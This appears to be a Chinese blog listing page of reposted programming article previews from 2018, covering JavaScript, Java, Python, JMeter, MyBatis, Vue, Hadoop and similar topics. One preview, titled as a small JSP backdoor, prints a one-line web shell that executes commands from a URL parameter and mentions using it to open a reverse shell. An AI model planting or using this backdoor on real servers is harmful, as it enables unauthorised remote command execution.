- 博客(65)
- 收藏
- 关注
转载 JS对象的深拷贝
在工作中我们会遇到对对象的复制,修改对象时,又不影响原来对象的数据;数组与对象的深拷贝方法:1.数组 借助数组的方法 slice();concat();eg: var arr=[124,3,5];var arr1=arr.slice(0);// var arr1=arr.concat();arr1[0]=2;//修改arr1数组并不会影响arr数组的值;两者互相独立的。...
2018-05-31 15:48:00 37
转载 集合框架的总结
一 1. 集合框架。集合是用来存储数据的,比数组操作方便,不需要考虑容量问题,可以存储不同类型的数据,但是不建议,因此出现了泛型机制来约束。编译器就可以检查元素类型是否匹配,避免了程序运行时出现错误。 2. 父接口Collection 常用的子接口: List:有序,可重复(元素之间通过equals比较)...
2018-05-31 10:50:00 37
转载 Python-维护排序好的序列模块-bisect
bisect模块 处理已经排序的序列,升序,从小到大,分插入数据和查看插入数据的位置两大核心,类似于插入排序算法 插入数据 #首先这个序列按升序规则已经排序好的 #查找规则是二分查找,当数据相等的时候又分为插入左边或右边import bisectscore = []# 二分查找插入排序好的序列,升序,从小到大# 维护已经排好序的列...
2018-05-31 09:32:00 118
转载 JavaScript 中的12种循环遍历方法
题目:请介绍 JavaScript 中有哪些循环和遍历的方法,说说它们的应用场景和优缺点?1、for 循环 let arr = [1,2,3];for (let i=0; i<arr.length; i++){ console.log(i,arr[i])}// 0 1// 1 2// 2 3for 循环是 Js 中最常用的一个循环工具,经常用于数组的循环遍历。2、for ...
2018-05-31 08:08:00 393
转载 Jmeter------查看JSON Extractor获取的值
在接口的使用中,我们会经常用到上个接口response中的值作为下个接口的参数来使用,因此我们为了确保值的正确性,需要知道上个接口返回的值是否正确,因此我们使用到了如下的方法来查看返回值。1、首先在所需的接口中“添加后置处理器----JSON Extractor”,将返回值id设置为变量,供使用的接口进行调用2、添加BeanShell Sampl...
2018-05-29 20:39:00 294
转载 AndroidManifest.xml中android:configChanges的简介
程序在运行时,一些设备的配置可能会改变,如:横竖屏的切换、键盘的可用性等,这样的事情一发生,Activity会重新启动,其中的过程是:在销毁之前会先 called onSaveInstanceState()去保存你应用中的一些数据,然后called onDestroy(),最后才去called onCreate()或onRestoreInstanceState()方法去重新启动Activ...
2018-05-29 14:52:00 35
转载 jsp小后门
一:执行系统命令:无回显执行系统命令:1<%Runtime.getRuntime().exec(request.getParameter("i"));%>请求:http://192.168.16.240:8080/Shell/cmd2.jsp?i=ls 执行之后不会有任何回显,用来反弹个shell很方便。 ...
2018-05-28 20:12:00 76
转载 Python中的lambda的简单介绍
1、lambda是什么?func=lambda x:x+1print(func(1))#2print(func(2))#3#以上lambda等同于以下函数def func(x): return(x+1)可以这样认为,lambda作为一个表达式,定义了一个匿名函数,上例的代码x为入口参数,x+1为函数体。在这里lambda简化了函数定义的书写...
2018-05-28 15:09:00 37
转载 Linux常用基本命令:三剑客命令之-awk数组用法
AWK的数组用法跟javascript类似。1,定义数组awk 'BEGIN{a[0]="zhangsan";a[1]="lisi";print a[0]}'2,打印一个没有定义的数组项,值为空awk 'BEGIN{a[0]="zhangsan";a[1]="lisi";print a[2]}'3,判断一个数组项 是否存在,用 ( 下标 in 数组 )...
2018-05-28 05:41:00 36
转载 CSS
CSS的概述什么是CSS: Cascading Style Sheets 层叠样式表.CSS的作用: CSS主要用来修饰HTML的显示.代码复用.将页面元素与样式进行分离. HTML的DIV标签HTML中有两个块标记: <div></div> <span></span>“div+css”,di...
2018-05-27 23:47:00 34
转载 Angular问题04 模块导入错误???、BrowserModule模块重复加载???、material模块引入后报错...
1 模块导入错误 1.1 问题描述 项目启动时报错:元数据错误,错误截图如下: 1.2 问题原因 利用VsCode开发angular项目时利用自动导入出现错误 坑01:VsCode 的自动导入功能比较智能,它会进行精确导入;例如:NgModule 在利用VsCode进行自动导入的结果如下:import { NgModule }...
2018-05-26 20:19:00 611
转载 使用Windows 10系统进行远程连接时,远程桌面连接输入用户名和密码以后提示“您的凭据不工作”无法登陆。...
填坑。网上的办法试了一遍,都没用。最后是群里的老哥给我发了一链接,才终于知道哪里出问题了。使用Windows 10系统进行远程连接时,远程桌面连接输入用户名和密码以后提示“您的凭据不工作”无法登陆。原因:https://support.microsoft.com/en-us/help/4093492/credssp-updates-for-cve-2018-0886-marc...
2018-05-25 22:05:00 2348
转载 mybatis 乐观锁和逻辑删除
本篇介绍easymybatis如配置乐观锁和逻辑删除。乐观锁easymybatis提供的乐观锁使用方式跟JPA一样,使用@Version注解来实现。即:数据库增加一个int或long类型字段version,然后实体类version字段上加上@Version注解即可。实现原理是根据mysql的行锁机制(InnoDB下),同一条记录只能被一条SQL执行,后面的SQL排队等待。这样version...
2018-05-25 17:36:00 40
转载 哈希函数----一致性哈希
原文链接:https://www.cnblogs.com/study-everyday/p/8629100.html一、算法背景一致性哈希算法在1997年由麻省理工学院的Karger等人在解决分布式Cache中提出的,设计目标是为了解决因特网中的热点(Hot spot)问题,初衷和CARP十分类似。一致性哈希修正了CARP使用的简单哈希算法带来的问题,使得DHT可以在P2P环境中真正得到应...
2018-05-25 14:09:00 35
转载 Entity Framework常用的查询方式
Entity Framework支持的查询方式有三种LINQ to EntitiesEntity SQLNative SQL【LINQ to Entities】LINQ(语言集成查询)是从Visual Studio 2008开始引入的功能,在C#中可以使用LINQ查询不同的数据源。LINQ-to-Entities在entity framework上的操作,可以访问底...
2018-05-25 14:07:00 91
转载 Parallel vs Synchronous vs Asynchronous
[1]https://www.sohamkamani.com/blog/2016/03/14/wrapping-your-head-around-async-programming/[2]https://codewala.net/2015/07/29/concurrency-vs-multi-threading-vs-asynchronous-programming-explained/...
2018-05-24 17:02:00 143
转载 面试-布局
移动端比较常见的布局:<!DOCTYPE html><html lang="en"><head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0,maximum-scale=1.0,minimum=1....
2018-05-24 16:53:00 45
转载 python matplotlib绘图
import numpy as npimport matplotlib.pyplot as pltfrom scipy.constants.constants import alphafrom matplotlib.patches import ArrowStylex=np.linspace(-np.pi,np.pi,256,endpoint=True)#np.linspa...
2018-05-24 09:31:00 36
转载 vue 项目实战之小坑坑
1. Vue 多个元素动画,需要使用 transition-group 标签,并且需要赋值 唯一 key 值。2.用ajax 获取到数据赋值给data后,再手动向data里添加的属性无效。(swiper 4 新增的 observer 属性很好用)转载于:https://www.cnblogs.com/echolife/p/9076815.htm...
2018-05-23 14:38:00 64
转载 小程序轮播图
html部分<view class="container"><view class="swiper"><swiper indicator-dots="{{indicatorDots}}autoplay="{{autoplay}}" interval="{{interval}}" duration="{{duration}}"><bl...
2018-05-22 11:01:00 58
转载 [SDOI2013] 直径
题目描述小Q最近学习了一些图论知识。根据课本,有如下定义。树:无回路且连通的无向图,每条边都有正整数的权值来表示其长度。如果一棵树有N个节点,可以证明其有且仅有N-1 条边。路径:一棵树上,任意两个节点之间最多有一条简单路径。我们用 dis(a,b)表示点a和点b的路径上各边长度之和。称dis(a,b)为a、b两个节点间的距离。直径:一棵树上,最长的路径为树的直径。树的直径可能不是唯一...
2018-05-21 19:50:00 126
转载 URL List ...
https://www.cnblogs.com/han-1034683568/p/9069008.htmlhttps://www.cnblogs.com/gdyblog/p/tomcatAddHttps.htmlhttps://www.cnblogs.com/X-Jun/p/9069608.htmlhttps://www.cnblogs.com/jmcui/p/904...
2018-05-21 17:29:00 946
转载 05软件架构设计的思想与模式阅读笔记
在大二下的这半个学期里,做了大概3个项目,而其中都涉及到了对用户名和密码及其他基本信息增删改,这其中的变量的命名甚至只有name和username的区别,但是随着使用次数的增加,无用的代码越来越多。坏的代码总是趋向于有更大的类、更长的方法、更多的开关语句和更深的条件嵌套。特 别是那些初看相似细看又不同的代码泛滥于整个系统:条件表达式,循环结构、集合枚举…。代码的重构则很好的解决了这些问题...
2018-05-21 16:27:00 59
转载 Vue.js中前端知识点总结笔记
1.框架和库的区别:框架:framework 有着自己的语法特点、都有对应的各个模块库 library 专注于一点框架的好处:1.提到代码的质量,开发速度2.提高代码的复用率3.降低模块之间的耦合度(高内聚低耦合)UI:user interfaceGUI : graphical user interfaceCLI : command line inte...
2018-05-21 09:45:00 72
转载 一位工作了10年的程序员总结了这10个血的教训
1.不要轻易换笔记本电脑,不要跟潮流,不要买过多的电子产品,不要过于频繁的更换手机这方面我的经验教训也是惨痛的。我大概前后购买过 5-6 个笔记本,以前的都是 1 万多元一台,最近买的这台 1 万多是给女朋友的,自己买了一台是 7500 元左右,手机大概换过接近 10 个了,这些钱加起来也足够有 10 万以上了。平时笔记本啥的贵重物品要保护好,我一个同事不小心丢了 2 台笔记本电...
2018-05-20 21:59:00 34
转载 给你们
他将是你的新郎从今以后他就是你一生的伴他的一切都将和你紧密相关福和祸都要同当她将是你的新娘她是别人用心托付在你手上你要用你一生加倍照顾对待苦或喜都要同享一定是特别的缘份才可以一路走来变成了一家人他多爱你几分你多还他几分找辛福的可能从此不再是一个人要处处时时想着念的都是"我们"你付出了几分爱就圆满了几分...
2018-05-20 20:41:00 34
转载 Hadoop小文件存储方案
HDFS总体架构在介绍文件存储方案之前,我觉得有必要先介绍下关于HDFS存储架构方面的一些知识,在对架构有初步了解后,才会明白为什么要单独针对小文件展开介绍,小文件存储和其它文件存储区别在什么地方。这里我只是就Hadoop生态中的存储层展开介绍,对于其它部分本文暂未描述。众所周知,HDFS是目前非常流行的分布式文件存储系统,其逻辑架构如下图所示:HDFS也是典型的Master/Slave结...
2018-05-20 09:40:00 274
转载 如何使用react-redux——傻瓜版
概述之前看redux官方文档真是看得一脸懵逼,现在自认为会用了,于是来总结一下用法,供以后开发时参考,相信对其他人也有用。不得不说,用了redux之后感觉挺爽的,有如下优点:组件大多是函数组件非常方便测试。免去了一层层传递props的困扰,如果想要数据,直接建一个容器组件即可,不需要对原组件做任何改动。扩展性很强,有新动作的时候,只需在action.js里面添加,然后在reducer....
2018-05-18 23:25:00 49
转载 [leetcode]97. Interleaving String能否构成交错字符串
Givens1,s2,s3, find whethers3is formed by the interleaving ofs1ands2.Input: s1 = "aabcc", s2 = "dbbca", s3 = "aadbbcbcac"Output: true题意:给定s1和s2,判断给定的s3是不是s1和s2交织相错后可以生成的字符串...
2018-05-18 02:25:00 82
转载 Spring_国际化信息设置
生命太过短暂,今天放弃了明天不一定能得到。Spring有多个信息源的类,它们都实现了MessageSource接口。在这些类中,最常见和有用的是 ResourceBundleMessageSourceReloadableResourceBundleMessageSource。 1.配置ResourceBundleMessageSource 1)使用J...
2018-05-17 22:11:00 77
转载 linux中从一台机器复制文件或目录到另一台机器上linux机器上
本机IP:x.x.x.1需要拷贝的机器IP:x.x.x.2用户名:ssh_user目的:将本机中source_path路径下的文件或目录拷贝到另一台机器的destination_path/路径下复制文件:scp /source_path ssh_user@x.x.x.2:/destination_path/复制目录:scp -rp /source_path ssh_user@...
2018-05-17 20:30:00 683
转载 while循环与 for循环,函数定义与调用
import turtleturtle.bgcolor('light blue')turtle.color('pink')turtle.fillcolor('pink')turtle.begin_fill()while True: turtle.forward(150) turtle.right(260) if abs(turtle.p...
2018-05-14 16:51:00 66
转载 双链表1(前驱后驱)
学会了单向链表,我们又多了一种解决问题的能力,单链表利用一个指针就能在内存中找到下一个位置,这是一个不会轻易断裂的链。但单链表有一个弱点——不能回指。比如在链表中有两个节点A,B,他们的关系是B是A的后继,A指向了B,便能轻易经A找到B,但从B却不能找到A。一个简单的想法便能轻易解决这个问题——建立双向链表。在双向链表中,A有一个指针指向了节点B,同时,B又有一个指向A的指针。这样不仅能从链表头节...
2018-05-13 19:43:00 346
转载 火狐浏览器Firefox历史版本官方下载地址
火狐浏览器Firefox历史版本官方下载地址:https://ftp.mozilla.org/pub/firefox/releases/或者通过如下链接下载:https://download.mozilla.org/?product=firefox-17.0&os=linux&lang=zh-CNproduct参数为火狐版本号:firefox-17.0为17.0版本...
2018-05-13 18:15:00 1307
转载 软件工程团队第三次作业
一. 题目要求参考发到群里的《软件需求规格说明书》范本,撰写本团队的软件需求规格说明书不要照抄范本的内容,请参考它的形式,紧密结合本团队项目实质展开使用UML工具进行描述,并保证符号、描述语言的一致性请大家将报告发布在 “石墨文档” 中并将文档链接发布到博客中推荐大家使用 https://www.draw.io网站绘制UML图形(当然也可以使用Visio,但是毕竟邹老师要参与点评,...
2018-05-13 15:54:00 80
转载 所谓的持久层框架?ORM框架?以及Hibernate和Mybatis区别?
ORM框架?Object Relational Mapping,对象-关系映射。项目中的业务实体有两种表现形式:对象和关系数据,即在内存中表现为对象,在数据库中表现为关系数据。为什么需要ORM框架?ORM框架是对象关系映射,那为什么要映射mapping?因为对象之间可以存在关联和继承关系,但是在数据库中,关系数据无法表达多对多关联和继承关系。(ps:在数据库原理...
2018-05-13 10:28:00 269
转载 ui-router ng-router
开发中常用ui-router来设置路由:ui-router使用很简单,延续了之前ngRoute的特点。1.首先得注入ui.router模块。接下来就是简单的配置2.$stateProvider替换之前的$routeProvider,ui-view替换之前的ng-view。ui-view 控制在哪里显示路由的相关配置https://blog.csdn.net/viewyu12...
2018-05-11 16:47:00 39
转载 英特尔CEO科再奇:尚未发现通过漏洞获取用户数据的行为
1月9日消息,英特尔CEO科再奇在美国西部时间1月8日举行的2018年CES中发表主题演讲,他在开场时面向产业界谈到了最近报道的安全研究发现。科再奇表示:“在我们开始之前,我想借此机会感谢整个行业,为了另外一个目标走到一起,共同应对近期被报道称为‘熔断’(Meltdown)和‘幽灵’(Spectre)的安全研究发现。”图片 1 “如此多的公司携起手来共同应对这个涉及整个行业...
2018-05-10 17:44:00 32
转载 Spring面试问答Top 25
Spring面试问答Top 252015年05月07日 23:04:04阅读数:2255本文由ImportNew-一直在路上翻译自howtodoinjava。欢迎加入翻译小组。转载请见文末要求。本人收集了一些在大家在面试时被经常问及的关于Spring的主要问题,这些问题有可能在你下次面试时就会被问到。对于本文中未提及的Spring其他模块,我会单独分享...
2018-05-10 16:16:00 29
空空如也
空空如也
TA创建的收藏夹 TA关注的收藏夹
TA关注的人